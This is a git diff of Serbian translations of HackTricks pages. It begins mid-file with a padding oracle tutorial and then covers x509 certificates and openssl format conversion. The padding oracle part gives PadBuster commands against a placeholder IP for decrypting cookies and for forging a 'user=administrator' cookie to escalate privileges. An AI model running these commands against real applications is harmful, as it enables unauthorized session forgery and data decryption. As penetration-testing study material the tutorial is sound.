+## Message Padding
-Pošto se šifrovanje vrši u **fiksnim veličinama blokova**, obično je potrebno popunjavanje u **poslednjem bloku** da bi se kompletirala njegova dužina.\
-Obično se koristi **PKCS7**, koji generiše popunjavanje **ponavljanjem** **broja** **bajtova** **potrebnih** da se **kompletira** blok. Na primer, ako poslednjem bloku nedostaju 3 bajta, popunjavanje će biti `\x03\x03\x03`.
+Kako se enkripcija vrši u **fiksnim** **veličinama** **blokova**, obično je potrebno **paddovanje** u **poslednjem** **bloku** da bi se završila njegova dužina.\
+Obično se koristi **PKCS7**, koji generiše padding **ponavljajući** **broj** **bajtova** **potrebnih** da se **završi** blok. Na primer, ako poslednjem bloku nedostaje 3 bajta, padding će biti `\x03\x03\x03`.
-Pogledajmo još primera sa **2 bloka dužine 8 bajtova**:
+Pogledajmo više primera sa **2 bloka dužine 8 bajtova**:
-| bajt #0 | bajt #1 | bajt #2 | bajt #3 | bajt #4 | bajt #5 | bajt #6 | bajt #7 | bajt #0 | bajt #1 | bajt #2 | bajt #3 | bajt #4 | bajt #5 | bajt #6 | bajt #7 |
+| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
-Primetite kako je u poslednjem primeru **poslednji blok bio pun pa je generisan još jedan samo sa popunjavanjem**.
+Primetite kako je u poslednjem primeru **poslednji blok bio pun, pa je generisan još jedan samo sa paddingom**.
-## Oracle za popunjavanje
+## Padding Oracle
-Kada aplikacija dešifruje šifrovane podatke, prvo će dešifrovati podatke; zatim će ukloniti popunjavanje. Tokom čišćenja popunjavanja, ako **neispravno popunjavanje pokrene detektibilno ponašanje**, imate **ranjivost orakla za popunjavanje**. Detektibilno ponašanje može biti **greška**, **nedostatak rezultata**, ili **sporiji odgovor**.
+Kada aplikacija dekriptuje enkriptovane podatke, prvo će dekriptovati podatke; zatim će ukloniti padding. Tokom čišćenja paddinga, ako **nevalidan padding izazove uočljivo ponašanje**, imate **padding oracle ranjivost**. Uočljivo ponašanje može biti **greška**, **nedostatak rezultata**, ili **sporiji odgovor**.
-Ako otkrijete ovo ponašanje, možete **dešifrovati šifrovane podatke** i čak **šifrovati bilo koji čisti tekst**.
+Ako primetite ovo ponašanje, možete **dekriptuju enkriptovane podatke** i čak **enkriptovati bilo koji čist tekst**.
-### Kako iskoristiti
+### How to exploit
-Možete koristiti [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) da iskoristite ovu vrstu ranjivosti ili jednostavno uraditi
+Možete koristiti [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) da iskoristite ovu vrstu ranjivosti ili samo uradite
```
sudo apt-get install padbuster
```
@@ -58,25 +59,25 @@ Da biste testirali da li je kolačić sajta ranjiv, možete pokušati:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
```
-**Kodiranje 0** znači da se koristi **base64** (ali su dostupni i drugi, proverite meni pomoći).
+**Encoding 0** znači da se koristi **base64** (ali su dostupni i drugi, proverite meni pomoći).
-Takođe možete **zloupotrebiti ovu ranjivost da biste šifrovali nove podatke. Na primer, zamislite da je sadržaj kolačića "**_**korisnik=MojeKorisničkoIme**_**", tada ga možete promeniti u "\_korisnik=administrator\_" i eskalirati privilegije unutar aplikacije. To takođe možete uraditi koristeći `paduster` navođenjem parametra -plaintext**:
+Takođe možete **iskoristiti ovu ranjivost da enkriptujete nove podatke. Na primer, zamislite da je sadržaj kolačića "**_**user=MyUsername**_**", tada ga možete promeniti u "\_user=administrator\_" i eskalirati privilegije unutar aplikacije. Takođe to možete uraditi koristeći `paduster`specifikujući -plaintext** parametar:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
```
-Ako je sajt ranjiv, `padbuster` će automatski pokušati da pronađe kada se javlja greška u punjenju, ali možete i navesti poruku o grešci koristeći parametar **-error**.
+Ako je sajt ranjiv, `padbuster` će automatski pokušati da pronađe kada se javlja greška u punjenju, ali takođe možete naznačiti poruku o grešci koristeći **-error** parametar.
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
```
### Teorija
-U **kratko**, možete početi dešifrovanje šifrovanih podataka pogađajući tačne vrednosti koje se mogu koristiti za kreiranje svih **različitih punjenja**. Zatim, napad padding orakl će početi dešifrovanje bajtova od kraja ka početku pogađajući koja će biti tačna vrednost koja **stvara punjenje od 1, 2, 3, itd**.
+U **kratko**, možete početi dekriptovanje enkriptovanih podataka pogađanjem ispravnih vrednosti koje se mogu koristiti za kreiranje svih **različitih popuna**. Tada će napad na oracle za popunjavanje početi dekriptovanje bajtova od kraja ka početku pogađajući koja će biti ispravna vrednost koja **stvara popunu od 1, 2, 3, itd**.
![](<../.gitbook/assets/image (561).png>)
-Zamislite da imate neki šifrovan tekst koji zauzima **2 bloka** formirana bajtovima od **E0 do E15**.\
-Da biste **dešifrovali** **poslednji blok** (**E8** do **E15**), ceo blok prolazi kroz "dešifrovanje blokova šifre" generišući **posredne bajtove I0 do I15**.\
-Na kraju, svaki posredni bajt se **XORuje** sa prethodnim šifrovanim bajtovima (E0 do E7). Dakle:
+Zamislite da imate neki enkriptovani tekst koji zauzima **2 bloka** formirana bajtovima od **E0 do E15**.\
+Da biste **dekriptovali** **poslednji** **blok** (**E8** do **E15**), ceo blok prolazi kroz "dekriptovanje blok šifre" generišući **intermedijarne bajtove I0 do I15**.\
+Na kraju, svaki intermedijarni bajt se **XOR-uje** sa prethodnim enkriptovanim bajtovima (E0 do E7). Tako:
* `C15 = D(E15) ^ E7 = I15 ^ E7`
* `C14 = I14 ^ E6`
@@ -84,41 +85,42 @@ Na kraju, svaki posredni bajt se **XORuje** sa prethodnim šifrovanim bajtovima
* `C12 = I12 ^ E4`
* ...
-Sada je moguće **modifikovati `E7` dok `C15` ne bude `0x01`**, što će takođe biti tačno punjenje. Dakle, u ovom slučaju: `\x01 = I15 ^ E'7`
+Sada, moguće je **modifikovati `E7` dok `C15` ne bude `0x01`**, što će takođe biti ispravna popuna. Dakle, u ovom slučaju: `\x01 = I15 ^ E'7`
-Dakle, pronalaženjem E'7, moguće je **izračunati I15**: `I15 = 0x01 ^ E'7`
+Dakle, pronalaženjem E'7, **moguće je izračunati I15**: `I15 = 0x01 ^ E'7`
Što nam omogućava da **izračunamo C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
-Znajući **C15**, sada je moguće **izračunati C14**, ali ovog puta forsujući punjenje `\x02\x02`.
+Znajući **C15**, sada je moguće **izračunati C14**, ali ovaj put brute-forcing popunu `\x02\x02`.
-Ovaj BF je jednako složen kao i prethodni jer je moguće izračunati `E''15` čija je vrednost 0x02: `E''7 = \x02 ^ I15` tako da je potrebno samo pronaći **`E'14`** koji generiše **`C14` jednako `0x02`**.\
-Zatim, uradite iste korake za dešifrovanje C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
+Ovaj BF je jednako složen kao prethodni jer je moguće izračunati `E''15` čija je vrednost 0x02: `E''7 = \x02 ^ I15` tako da je samo potrebno pronaći **`E'14`** koja generiše **`C14` jednaku `0x02`**.\
+Zatim, uradite iste korake da dekriptujete C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
-**Pratite ovaj lanac dok ne dešifrujete ceo šifrovani tekst.**
+**Pratite chain dok ne dekriptujete ceo enkriptovani tekst.**
### Otkrivanje ranjivosti
-Registrujte nalog i prijavite se sa tim nalogom.\
-Ako se **prijavite mnogo puta** i uvek dobijete **isti kolačić**, verovatno postoji **nešto** **pogrešno** u aplikaciji. Kolačić koji se vraća trebao bi biti jedinstven svaki put kada se prijavite. Ako je kolačić **uvek** isti, verovatno će uvek biti validan i **neće biti načina da se on poništi**.
+Registrujte se i otvorite nalog i prijavite se sa tim nalogom.\
+Ako se **prijavljujete više puta** i uvek dobijate **isti kolačić**, verovatno postoji **nešto** **pogrešno** u aplikaciji. **Kolačić koji se vraća treba da bude jedinstven** svaki put kada se prijavite. Ako je kolačić **uvek** **isti**, verovatno će uvek biti važeći i neće biti načina da se on **nevaži**.
-Sada, ako pokušate da **modifikujete** kolačić, videćete da dobijate **grešku** od aplikacije.\
-Ali ako forsite punjenje (koristeći na primer padbuster) uspećete da dobijete drugi kolačić koji je validan za drugog korisnika. Ovaj scenario je vrlo verovatno ranjiv na padbuster.
+Sada, ako pokušate da **modifikujete** **kolačić**, možete videti da dobijate **grešku** iz aplikacije.\
+Ali ako BF-ujete popunu (koristeći padbuster na primer) uspete da dobijete drugi kolačić važeći za drugog korisnika. Ovaj scenario je veoma verovatno ranjiv na padbuster.
### Reference
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Podrška HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %}
diff --git a/cryptography/certificates.md b/cryptography/certificates.md
index a9b9d7fd4..a21c12c03 100644
--- a/cryptography/certificates.md
+++ b/cryptography/certificates.md
@@ -1,58 +1,59 @@
-# Sertifikati
+# Certificates
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
\
-Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
-Dobijte pristup danas:
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-## Šta je Sertifikat
+## Šta je sertifikat
-**Sertifikat javnog ključa** je digitalni ID koji se koristi u kriptografiji da bi se dokazalo da neko poseduje javni ključ. Uključuje detalje ključa, identitet vlasnika (subjekta) i digitalni potpis od pouzdane autoritete (izdavaoca). Ako softver veruje izdavaocu i potpis je validan, sigurna komunikacija sa vlasnikom ključa je moguća.
+**Javni ključ sertifikat** je digitalni ID koji se koristi u kriptografiji da dokaže da neko poseduje javni ključ. Uključuje detalje o ključevi, identitet vlasnika (subjekt) i digitalni potpis od poverljive vlasti (izdavača). Ako softver veruje izdavaču i potpis je validan, sigurna komunikacija sa vlasnikom ključa je moguća.
-Sertifikati se uglavnom izdaju od strane [autoriteta za sertifikaciju](https://en.wikipedia.org/wiki/Certificate\_authority) (CA) u postavci [infrastrukture javnog ključa](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Drugi metod je [mreža poverenja](https://en.wikipedia.org/wiki/Web\_of\_trust), gde korisnici direktno verifikuju ključeve jedni drugih. Uobičajeni format za sertifikate je [X.509](https://en.wikipedia.org/wiki/X.509), koji se može prilagoditi za specifične potrebe kako je opisano u RFC 5280.
+Sertifikati se uglavnom izdaju od strane [sertifikacionih tela](https://en.wikipedia.org/wiki/Certificate\_authority) (CA) u okviru [infrastrukture javnog ključa](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Druga metoda je [mreža poverenja](https://en.wikipedia.org/wiki/Web\_of\_trust), gde korisnici direktno verifikuju ključeve jedni drugih. Uobičajeni format za sertifikate je [X.509](https://en.wikipedia.org/wiki/X.509), koji se može prilagoditi specifičnim potrebama kako je navedeno u RFC 5280.
-## Zajednička Polja x509
+## x509 Zajednička polja
-### **Zajednička Polja u x509 Sertifikatima**
+### **Zajednička polja u x509 sertifikatima**
-U x509 sertifikatima, nekoliko **polja** igraju ključne uloge u osiguravanju validnosti i sigurnosti sertifikata. Evo razbijanja ovih polja:
+U x509 sertifikatima, nekoliko **polja** igra ključne uloge u obezbeđivanju validnosti i sigurnosti sertifikata. Evo pregleda ovih polja:
-* **Broj Verzije** označava verziju formata x509.
-* **Seriski Broj** jedinstveno identifikuje sertifikat unutar sistema Autoriteta za Sertifikaciju (CA), uglavnom za praćenje opoziva.
-* Polje **Subjekat** predstavlja vlasnika sertifikata, koji može biti mašina, pojedinac ili organizacija. Uključuje detaljne identifikacije kao što su:
-* **Uobičajeno Ime (CN)**: Domeni obuhvaćeni sertifikatom.
-* **Država (C)**, **Lokalitet (L)**, **Država ili Pokrajina (ST, S, ili P)**, **Organizacija (O)** i **Organizaciona Jedinica (OU)** pružaju geografske i organizacione detalje.
-* **Distingovano Ime (DN)** obuhvata punu identifikaciju subjekta.
-* **Izdavaoc** detalji ko je verifikovao i potpisao sertifikat, uključujući slična podpolja kao Subjekat za CA.
-* **Period Važenja** obeležen je vremenskim oznakama **Nije Pre** i **Nije Posle**, osiguravajući da sertifikat nije korišćen pre ili posle određenog datuma.
-* Odeljak **Javnog Ključa**, ključan za sigurnost sertifikata, specificira algoritam, veličinu i druge tehničke detalje javnog ključa.
-* **x509v3 proširenja** poboljšavaju funkcionalnost sertifikata, specificirajući **Upotrebu Ključa**, **Proširenu Upotrebu Ključa**, **Alternativno Ime Subjekta** i druge osobine za fino podešavanje primene sertifikata.
+* **Broj verzije** označava verziju x509 formata.
+* **Serijski broj** jedinstveno identifikuje sertifikat unutar sistema Sertifikacionog tela (CA), uglavnom za praćenje opoziva.
+* Polje **Subjekt** predstavlja vlasnika sertifikata, što može biti mašina, pojedinac ili organizacija. Uključuje detaljnu identifikaciju kao što su:
+* **Uobičajeno ime (CN)**: Domeni pokriveni sertifikatom.
+* **Zemlja (C)**, **Lokacija (L)**, **Država ili pokrajina (ST, S, ili P)**, **Organizacija (O)**, i **Organizaciona jedinica (OU)** pružaju geografske i organizacione detalje.
+* **Istaknuto ime (DN)** obuhvata punu identifikaciju subjekta.
+* **Izdavač** detaljno opisuje ko je verifikovao i potpisao sertifikat, uključujući slična podpolja kao Subjekt za CA.
+* **Period važenja** označen je vremenskim oznakama **Ne pre** i **Ne posle**, osiguravajući da se sertifikat ne koristi pre ili posle određenog datuma.
+* Sekcija **Javni ključ**, koja je ključna za sigurnost sertifikata, specificira algoritam, veličinu i druge tehničke detalje javnog ključa.
+* **x509v3 ekstenzije** poboljšavaju funkcionalnost sertifikata, specificirajući **Korišćenje ključa**, **Prošireno korišćenje ključa**, **Alternativno ime subjekta**, i druge osobine za fino podešavanje primene sertifikata.
-#### **Upotreba Ključa i Proširenja**
+#### **Korišćenje ključa i ekstenzije**
-* **Upotreba Ključa** identifikuje kriptografske primene javnog ključa, poput digitalnog potpisa ili šifrovanja ključem.
-* **Proširena Upotreba Ključa** dodatno sužava slučajeve upotrebe sertifikata, npr. za autentikaciju TLS servera.
-* **Alternativno Ime Subjekta** i **Osnovno Ograničenje** definišu dodatna imena hostova obuhvaćena sertifikatom i da li je to CA ili sertifikat entiteta.
-* Identifikatori poput **Identifikatora Ključa Subjekta** i **Identifikatora Ključa Autoriteta** osiguravaju jedinstvenost i mogućnost praćenja ključeva.
-* **Pristup Informacijama o Autoritetu** i **Tačke Distribucije CRL-a** pružaju putanje za verifikaciju izdavaoca CA i proveru statusa opoziva sertifikata.
-* **CT Pre-sertifikat SCT-ovi** nude transparentne logove, ključne za javno poverenje u sertifikat.
+* **Korišćenje ključa** identifikuje kriptografske primene javnog ključa, kao što su digitalni potpis ili enkripcija ključa.
+* **Prošireno korišćenje ključa** dodatno sužava slučajeve korišćenja sertifikata, npr. za TLS autentifikaciju servera.
+* **Alternativno ime subjekta** i **Osnovna ograničenja** definišu dodatne nazive hostova pokrivene sertifikatom i da li je to CA ili sertifikat krajnjeg entiteta, redom.
+* Identifikatori kao što su **Identifikator ključa subjekta** i **Identifikator ključa vlasti** osiguravaju jedinstvenost i praćenje ključeva.
+* **Pristup informacijama o vlasti** i **Tačke distribucije CRL** pružaju puteve za verifikaciju izdavača CA i proveru statusa opoziva sertifikata.
+* **CT Precertifikat SCTs** nude transparente dnevnike, što je ključno za javno poverenje u sertifikat.
```python
# Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509
@@ -74,61 +75,61 @@ print(f"Issuer: {issuer}")
print(f"Subject: {subject}")
print(f"Public Key: {public_key}")
```
-### **Razlika između OCSP i CRL distributivnih tačaka**
+### **Razlika između OCSP i CRL distribucionih tačaka**
-**OCSP** (**RFC 2560**) uključuje klijenta i odgovarača koji zajedno proveravaju da li je digitalni javni ključ sertifikata povučen, bez potrebe za preuzimanjem punog **CRL**-a. Ovaj metod je efikasniji od tradicionalnog **CRL**-a, koji pruža listu povučenih serijskih brojeva sertifikata, ali zahteva preuzimanje potencijalno velike datoteke. CRL-ovi mogu sadržati do 512 unosa. Više detalja dostupno je [ovde](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
+**OCSP** (**RFC 2560**) uključuje klijenta i odgovarača koji rade zajedno kako bi proverili da li je digitalni javni ključ sertifikat opozvan, bez potrebe za preuzimanjem celog **CRL**. Ova metoda je efikasnija od tradicionalnog **CRL**, koji pruža listu opozvanih serijskih brojeva sertifikata, ali zahteva preuzimanje potencijalno velikog fajla. CRL-ovi mogu sadržati do 512 unosa. Više detalja je dostupno [ovde](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
-### **Šta je Transparentnost sertifikata**
+### **Šta je transparentnost sertifikata**
-Transparentnost sertifikata pomaže u borbi protiv pretnji povezanih sa sertifikatima osiguravajući da izdavanje i postojanje SSL sertifikata budu vidljivi vlasnicima domena, CA-ovima i korisnicima. Njeni ciljevi su:
+Transparentnost sertifikata pomaže u borbi protiv pretnji vezanih za sertifikate osiguravajući da je izdavanje i postojanje SSL sertifikata vidljivo vlasnicima domena, CA-ima i korisnicima. Njeni ciljevi su:
-* Sprječavanje CA-ova da izdaju SSL sertifikate za domen bez znanja vlasnika domena.
+* Sprečavanje CA-a da izdaju SSL sertifikate za domen bez znanja vlasnika domena.
* Uspostavljanje otvorenog sistema revizije za praćenje greškom ili zlonamerno izdatih sertifikata.
-* Zaštita korisnika od lažnih sertifikata.
+* Zaštita korisnika od prevarantskih sertifikata.
-#### **Sertifikatni zapisi**
+#### **Sertifikati logovi**
-Sertifikatni zapisi su javno proverljivi, samo za dodavanje zapisi sertifikata, održavani od strane mrežnih servisa. Ovi zapisi pružaju kriptografske dokaze u svrhe revizije. Izdavači i javnost mogu podnositi sertifikate ovim zapisima ili ih upitati za verifikaciju. Iako tačan broj serverskih zapisa nije fiksan, očekuje se da ih globalno bude manje od hiljadu. Ovi serveri mogu biti nezavisno upravljani od strane CA-ova, ISP-ova ili bilo koje zainteresovane entitete.
+Sertifikati logovi su javno revizibilni, samo za dodavanje zapisi sertifikata, koje održavaju mrežne usluge. Ovi logovi pružaju kriptografske dokaze za revizijske svrhe. Izdavaoci i javnost mogu podnositi sertifikate ovim logovima ili ih pretraživati radi verifikacije. Dok tačan broj log servera nije fiksiran, očekuje se da će biti manje od hiljadu globalno. Ove servere mogu nezavisno upravljati CA, ISP ili bilo koja zainteresovana strana.
#### **Upit**
-Za istraživanje sertifikatnih zapisa Transparentnosti sertifikata za bilo koji domen, posetite [https://crt.sh/](https://crt.sh).
+Da biste istražili logove transparentnosti sertifikata za bilo koji domen, posetite [https://crt.sh/](https://crt.sh).
-Različiti formati postoje za skladištenje sertifikata, svaki sa svojim slučajevima upotrebe i kompatibilnošću. Ovaj sažetak obuhvata glavne formate i pruža smernice o konvertovanju između njih.
+Postoje različiti formati za skladištenje sertifikata, svaki sa svojim slučajevima upotrebe i kompatibilnošću. Ovaj pregled pokriva glavne formate i pruža smernice za konvertovanje između njih.
## **Formati**
-### **PEM Format**
+### **PEM format**
-* Najčešće korišćen format za sertifikate.
-* Zahteva odvojene datoteke za sertifikate i privatne ključeve, kodirane u Base64 ASCII.
-* Česte ekstenzije: .cer, .crt, .pem, .key.
-* Prvenstveno korišćen od strane Apache i sličnih servera.
+* Najšire korišćen format za sertifikate.
+* Zahteva odvojene fajlove za sertifikate i privatne ključeve, kodirane u Base64 ASCII.
+* Uobičajene ekstenzije: .cer, .crt, .pem, .key.
+* Primarno koriste Apache i slični serveri.
-### **DER Format**
+### **DER format**
* Binarni format sertifikata.
-* Nedostaje "BEGIN/END CERTIFICATE" izjave koje se nalaze u PEM datotekama.
-* Česte ekstenzije: .cer, .der.
-* Često korišćen sa Java platformama.
+* Nedostaju "BEGIN/END CERTIFICATE" izjave koje se nalaze u PEM fajlovima.
+* Uobičajene ekstenzije: .cer, .der.
+* Često se koristi sa Java platformama.
-### **P7B/PKCS#7 Format**
+### **P7B/PKCS#7 format**
-* Skladišten u Base64 ASCII, sa ekstenzijama .p7b ili .p7c.
-* Sadrži samo sertifikate i lanac sertifikata, isključujući privatni ključ.
-* Podržan od strane Microsoft Windows i Java Tomcat.
+* Skladišti se u Base64 ASCII, sa ekstenzijama .p7b ili .p7c.
+* Sadrži samo sertifikate i lance sertifikata, isključujući privatni ključ.
+* Podržava Microsoft Windows i Java Tomcat.
-### **PFX/P12/PKCS#12 Format**
+### **PFX/P12/PKCS#12 format**
-* Binarni format koji uključuje serverske sertifikate, posredne sertifikate i privatne ključeve u jednoj datoteci.
+* Binarni format koji enkapsulira server sertifikate, međusertifikate i privatne ključeve u jednom fajlu.
* Ekstenzije: .pfx, .p12.
-* Glavno korišćen na Windows platformi za uvoz i izvoz sertifikata.
+* Uglavnom se koristi na Windows-u za uvoz i izvoz sertifikata.
### **Konvertovanje formata**
-**PEM konverzije** su esencijalne za kompatibilnost:
+**PEM konverzije** su neophodne za kompatibilnost:
-* **x509 u PEM**
+* **x509 to PEM**
```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
```
@@ -148,22 +149,22 @@ openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```
-**PFX konverzije** su ključne za upravljanje sertifikatima na Windows operativnom sistemu:
+**PFX konverzije** su ključne za upravljanje sertifikatima na Windows-u:
* **PFX u PEM**
```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
```
-* **PFX u PKCS#8** uključuje dva koraka:
-1. Konvertuj PFX u PEM
+* **PFX to PKCS#8** uključuje dva koraka:
+1. Konvertujte PFX u PEM
```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
```
-2. Konvertuj PEM u PKCS8
+2. Konvertujte PEM u PKCS8
```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```
-* **P7B u PFX** takođe zahteva dve komande:
+* **P7B to PFX** takođe zahteva dve komande:
1. Konvertuj P7B u CER
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
@@ -174,24 +175,25 @@ openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certif
```
***
-
+
\
-Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
-Dobijte pristup danas:
+Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) za lako kreiranje i **automatizaciju radnih tokova** pokretanih najnaprednijim **alatima** zajednice na svetu.\
+Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Podržite HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
